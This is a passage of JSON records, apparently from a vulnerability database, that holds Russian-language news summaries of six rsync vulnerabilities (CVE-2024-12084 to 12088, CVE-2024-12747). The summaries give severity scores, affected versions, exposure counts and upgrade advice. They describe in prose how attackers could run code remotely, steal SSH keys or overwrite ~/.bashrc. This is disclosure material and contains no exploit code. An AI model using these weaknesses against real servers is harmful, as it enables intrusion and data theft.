\u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u043e\u0439 \u0441\u0443\u043c\u043c\u044b \u0432\u043e \u0432\u0440\u0435\u043c\u044f \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 \u0444\u0430\u0439\u043b\u043e\u0432. \u0423\u044f\u0437\u0432\u0438\u043c\u044b \u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043d\u0438\u0436\u0435 3.4.0.\n\n- \u041e\u0431\u0445\u043e\u0434 \u043f\u0443\u0442\u0438 (CVE-2024-12087, CVSS: 6.5): \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u0435\u0442 \u0438\u0437-\u0437\u0430 \u043d\u0435\u0430\u0434\u0435\u043a\u0432\u0430\u0442\u043d\u043e\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0441\u0438\u043c\u0432\u043e\u043b\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0441\u0441\u044b\u043b\u043a\u0438 \u043f\u0440\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430 --inc-recursive. \u0412\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u0441\u0435\u0440\u0432\u0435\u0440\u044b \u043c\u043e\u0433\u0443\u0442 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u0444\u0430\u0439\u043b\u044b \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u0430\u0433\u0430\u0435\u043c\u044b\u0445 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u043e\u0432 \u043d\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0435. \u0412\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043d\u0438\u0436\u0435 3.4.0 \u0443\u044f\u0437\u0432\u0438\u043c\u044b.\n\n- \u041e\u0431\u0445\u043e\u0434 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430 --safe-links (CVE-2024-12088, CVSS: 6.5): \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u0435\u0442, \u043a\u043e\u0433\u0434\u0430 Rsync \u043d\u0435 \u043c\u043e\u0436\u0435\u0442 \u0434\u043e\u043b\u0436\u043d\u044b\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u0441\u0438\u043c\u0432\u043e\u043b\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0441\u0441\u044b\u043b\u043e\u043a, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0438\u0445 \u0434\u0440\u0443\u0433\u0438\u0435 \u0441\u0441\u044b\u043b\u043a\u0438. \u042d\u0442\u043e \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u043e\u0431\u0445\u043e\u0434\u0443 \u043f\u0443\u0442\u0438 \u0438 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0443\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0445 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u043e\u0432. \u0417\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043d\u0438\u0436\u0435 3.4.0.\n\n- \u0421\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u0433\u043e\u043d\u043a\u0438 (CVE-2024-12747, CVSS: 5.6): \u043e\u0431\u0443\u0441\u043b\u043e\u0432\u043b\u0435\u043d\u0430 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435\u043c \u0433\u043e\u043d\u043a\u0438 \u043f\u0440\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u0441\u0438\u043c\u0432\u043e\u043b\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0441\u0441\u044b\u043b\u043e\u043a. \u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u043c \u0444\u0430\u0439\u043b\u0430\u043c \u0438 \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438. \u0423\u044f\u0437\u0432\u0438\u043c\u044b \u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043d\u0438\u0436\u0435 3.4.0.\n\nCERT/C \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u0431\u044e\u043b\u043b\u0435\u0442\u0435\u043d\u044c \u0441 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u0435\u043c \u043e\u0431 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u0445 Rsync, \u043e\u0442\u043c\u0435\u0442\u0438\u0432 Red Hat, Arch, Gentoo, Ubuntu NixOS, AlmaLinux OS Foundation \u0438 Triton Data Center \u043a\u0430\u043a \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u0435.\n\n\u041e\u0434\u043d\u0430\u043a\u043e \u043c\u043d\u043e\u0433\u0438\u0435 \u0434\u0440\u0443\u0433\u0438\u0435 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u0440\u043e\u0435\u043a\u0442\u044b \u0438 \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a\u0438 \u043f\u043e\u043a\u0430 \u043d\u0435 \u043d\u0438\u043a\u0430\u043a \u043e\u0442\u0440\u0435\u0430\u0433\u0438\u0440\u043e\u0432\u0430\u043b\u0438.\n\n\u0412 \u0441\u0432\u043e\u0435\u043c \u0431\u044e\u043b\u043b\u0435\u0442\u0435\u043d\u0435 \u043f\u043e CVE-2024-12084 RedHat \u043e\u0442\u043c\u0435\u0442\u0438\u043b\u0430, \u0447\u0442\u043e \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043c\u0435\u0440 \u043f\u043e \u0441\u043c\u044f\u0433\u0447\u0435\u043d\u0438\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442, \u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043c\u043e\u0436\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0432 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 Rsync \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e.\n\n\u0412 \u043f\u0440\u043e\u0442\u0438\u0432\u043d\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u043f\u043e\u043d\u0430\u0434\u043e\u0431\u044f\u0442\u0441\u044f \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0434\u043b\u044f \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 \u0441 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0435\u0439.\n\n\u0421\u043e\u0433\u043b\u0430\u0441\u043d\u043e Shodan, \u0432 \u0441\u0435\u0442\u0438 \u0434\u0435\u0442\u0435\u043a\u0442\u0438\u0442\u0441\u044f \u0431\u043e\u043b\u0435\u0435 660 000 IP-\u0430\u0434\u0440\u0435\u0441\u043e\u0432 \u0441 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c\u0438 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u043c\u0438 Rsync. \u0411\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u043e - \u0432 \u041a\u0438\u0442\u0430\u0435 (521 000), \u0434\u0430\u043b\u0435\u0435 \u0441\u043b\u0435\u0434\u0443\u044e\u0442 \u0421\u0428\u0410, \u0413\u043e\u043d\u043a\u043e\u043d\u0433, \u041a\u043e\u0440\u0435\u044f, \u0420\u043e\u0441\u0441\u0438\u044f \u0438 \u0413\u0435\u0440\u043c\u0430\u043d\u0438\u044f, \u043d\u043e \u0438\u0445 \u0447\u0438\u0441\u043b\u043e \u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u043c\u0435\u043d\u044c\u0448\u0435.\n\n\u0418\u0437 \u044d\u0442\u0438\u0445 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0445 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 Rsync 306 517 \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0442 \u043d\u0430 TCP-\u043f\u043e\u0440\u0442\u0435 \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e 873, \u0430 21 239 \u043f\u0440\u043e\u0441\u043b\u0443\u0448\u0438\u0432\u0430\u044e\u0442 \u043f\u043e\u0440\u0442 8873, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043e\u0431\u044b\u0447\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0434\u043b\u044f Rsync \u0447\u0435\u0440\u0435\u0437 \u0442\u0443\u043d\u043d\u0435\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 SSH.\n\n\u041d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0442\u043e, \u0447\u0442\u043e \u043d\u0435\u044f\u0441\u043d\u043e \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u044b \u043b\u0438 \u043e\u043d\u0438 \u043d\u0435\u0434\u0430\u0432\u043d\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c, \u0432\u0441\u0435\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f\u00a0\u00a0\u043a\u0430\u043a \u043c\u043e\u0436\u043d\u043e \u0441\u043a\u043e\u0440\u0435\u0435\u00a0\u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 3.4.0 \u0438\u043b\u0438 \u043d\u0430\u0441\u0442\u0440\u043e\u0438\u0442\u044c \u0434\u0435\u043c\u043e\u043d \u043d\u0430 \u0437\u0430\u043f\u0440\u043e\u0441 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0437\u0430\u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u0442\u044c TCP-\u043f\u043e\u0440\u0442 873 \u043f\u043e \u043f\u0435\u0440\u0438\u043c\u0435\u0442\u0440\u0443, \u0447\u0442\u043e\u0431\u044b \u0441\u0435\u0440\u0432\u0435\u0440\u044b \u043d\u0435 \u0431\u044b\u043b\u0438 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e.", "creation_timestamp": "2025-01-16T15:20:27.000000Z"}, {"uuid": "0e29ea54-bfa4-43e2-92c1-e49077dcacf3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12088", "type": "exploited", "source": "https://t.me/S_E_Reborn/5357", "content": "\u0411\u043e\u043b\u0435\u0435 660 000 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 Rsync \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u044b \u0434\u043b\u044f \u0448\u0435\u0441\u0442\u0438 \u043d\u043e\u0432\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0431\u0443\u0444\u0435\u0440\u0430 \u043a\u0443\u0447\u0438, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u0434 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u0445.\n\nRsync - \u044d\u0442\u043e \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442 \u0441 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u043c \u043a\u043e\u0434\u043e\u043c \u0434\u043b\u044f \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 \u0438 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 \u0434\u0430\u043d\u043d\u044b\u0445, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0448\u0438\u0440\u043e\u043a\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 \u0440\u0435\u0437\u0435\u0440\u0432\u043d\u043e\u0433\u043e \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f (Rclone, DeltaCopy, ChronoSync), \u043e\u0431\u0449\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0445 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f\u0445 \u0434\u043b\u044f \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0444\u0430\u0439\u043b\u043e\u0432, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0432 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0438 \u043e\u0431\u043b\u0430\u043a\u0430\u043c\u0438 \u0438 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u043c\u0438.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 Rsync \u0431\u044b\u043b\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u044b Google Cloud \u0438 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u044b\u043c\u0438 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c\u0438. \u041e\u043d\u0438 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u0435\u043d\u044b \u0434\u043b\u044f \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u0437\u043b\u043e\u043c\u0430 \u0441\u0438\u0441\u0442\u0435\u043c.\n\n\u0414\u043b\u044f \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043f\u043e\u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f \u043b\u0438\u0448\u044c \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043d\u0430 \u0447\u0442\u0435\u043d\u0438\u0435 \u043a \u0441\u0435\u0440\u0432\u0435\u0440\u0443 rsync, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043a \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e\u043c\u0443 \u0437\u0435\u0440\u043a\u0430\u043b\u0443, \u0447\u0442\u043e\u0431\u044b \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u043c\u0430\u0448\u0438\u043d\u0435, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0437\u0430\u043f\u0443\u0449\u0435\u043d \u0441\u0435\u0440\u0432\u0435\u0440.\n\n\u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0432\u0437\u044f\u0442\u044c \u043f\u043e\u0434 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u0441\u0435\u0440\u0432\u0435\u0440 \u0438 \u0447\u0438\u0442\u0430\u0442\u044c/\u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u043b\u044e\u0431\u043e\u0433\u043e \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u043d\u043e\u0433\u043e \u043a\u043b\u0438\u0435\u043d\u0442\u0430.\n\n\u041a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043a\u043b\u044e\u0447\u0438 SSH, \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u044b, \u0430 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d \u043f\u0443\u0442\u0435\u043c \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u0438 \u0444\u0430\u0439\u043b\u043e\u0432, \u0442\u0430\u043a\u0438\u0445 \u043a\u0430\u043a ~/.bashrc \u0438\u043b\u0438 ~/.popt.\n\n\u0421\u0440\u0435\u0434\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0445 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u043e\u0432:\n\n- \u041f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0431\u0443\u0444\u0435\u0440\u0430 \u043a\u0443\u0447\u0438 (CVE-2024-12084, CVSS: 9.8): \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u0435\u0442 \u0438\u0437-\u0437\u0430 \u043d\u0435\u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0434\u043b\u0438\u043d\u044b \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u044b\u0445 \u0441\u0443\u043c\u043c \u0432 \u0434\u0435\u043c\u043e\u043d\u0435 Rsync, \u0447\u0442\u043e \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u0437\u0430\u043f\u0438\u0441\u0438 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0431\u0443\u0444\u0435\u0440\u0430. \u0417\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0432\u0435\u0440\u0441\u0438\u0438 \u043e\u0442 3.2.7 \u0434\u043e < 3.4.0 \u0438 \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a RCE.\n\n- \u0423\u0442\u0435\u0447\u043a\u0430 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 (CVE-2024-12085, CVSS: 7.5): \u0434\u043e\u043f\u0443\u0441\u043a\u0430\u0435\u0442 \u0443\u0442\u0435\u0447\u043a\u0443 \u043d\u0435\u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0441\u0442\u0435\u043a\u0430 \u043f\u0440\u0438 \u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u0438 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u044b\u0445 \u0441\u0443\u043c\u043c \u0444\u0430\u0439\u043b\u043e\u0432. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u043c\u0430\u043d\u0438\u043f\u0443\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0434\u043b\u0438\u043d\u043e\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u043e\u0439 \u0441\u0443\u043c\u043c\u044b, \u0447\u0442\u043e\u0431\u044b \u0435\u0435 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c. \u0417\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043d\u0438\u0436\u0435 3.4.0.\n\n- Server Leaks Arbitrary Client Files (CVE-2024-12086, CVSS: 6.1): \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u043c\u0443 \u0441\u0435\u0440\u0432\u0435\u0440\u0443 \u0441\u0447\u0438\u0442\u044b\u0432\u0430\u0442\u044c \u0438 \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u0438\u0435 \u0444\u0430\u0439\u043b\u044b \u043f\u043e\u0431\u0430\u0439\u0442\u043d\u043e, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u043d\u044b\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u043e\u0439 \u0441\u0443\u043c\u043c\u044b \u0432\u043e \u0432\u0440\u0435\u043c\u044f \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 \u0444\u0430\u0439\u043b\u043e\u0432. \u0423\u044f\u0437\u0432\u0438\u043c\u044b \u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043d\u0438\u0436\u0435 3.4.0.\n\n- \u041e\u0431\u0445\u043e\u0434 \u043f\u0443\u0442\u0438 (CVE-2024-12087, CVSS: 6.5): \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u0435\u0442 \u0438\u0437-\u0437\u0430 \u043d\u0435\u0430\u0434\u0435\u043a\u0432\u0430\u0442\u043d\u043e\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0441\u0438\u043c\u0432\u043e\u043b\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0441\u0441\u044b\u043b\u043a\u0438 \u043f\u0440\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430 --inc-recursive. \u0412\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u0441\u0435\u0440\u0432\u0435\u0440\u044b \u043c\u043e\u0433\u0443\u0442 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u0444\u0430\u0439\u043b\u044b \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u0430\u0433\u0430\u0435\u043c\u044b\u0445 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u043e\u0432 \u043d\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0435. \u0412\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043d\u0438\u0436\u0435 3.4.0 \u0443\u044f\u0437\u0432\u0438\u043c\u044b.\n\n- \u041e\u0431\u0445\u043e\u0434 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430 --safe-links (CVE-2024-12088, CVSS: 6.5): \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u0435\u0442, \u043a\u043e\u0433\u0434\u0430 Rsync \u043d\u0435 \u043c\u043e\u0436\u0435\u0442 \u0434\u043e\u043b\u0436\u043d\u044b\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u0441\u0438\u043c\u0432\u043e\u043b\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0441\u0441\u044b\u043b\u043e\u043a, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0438\u0445 \u0434\u0440\u0443\u0433\u0438\u0435 \u0441\u0441\u044b\u043b\u043a\u0438. \u042d\u0442\u043e \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u043e\u0431\u0445\u043e\u0434\u0443 \u043f\u0443\u0442\u0438 \u0438 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0443\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0445 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u043e\u0432. \u0417\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043d\u0438\u0436\u0435 3.4.0.\n\n- \u0421\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u0433\u043e\u043d\u043a\u0438 (CVE-2024-12747, CVSS: 5.6): \u043e\u0431\u0443\u0441\u043b\u043e\u0432\u043b\u0435\u043d\u0430 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435\u043c \u0433\u043e\u043d\u043a\u0438 \u043f\u0440\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u0441\u0438\u043c\u0432\u043e\u043b\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0441\u0441\u044b\u043b\u043e\u043a. \u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c 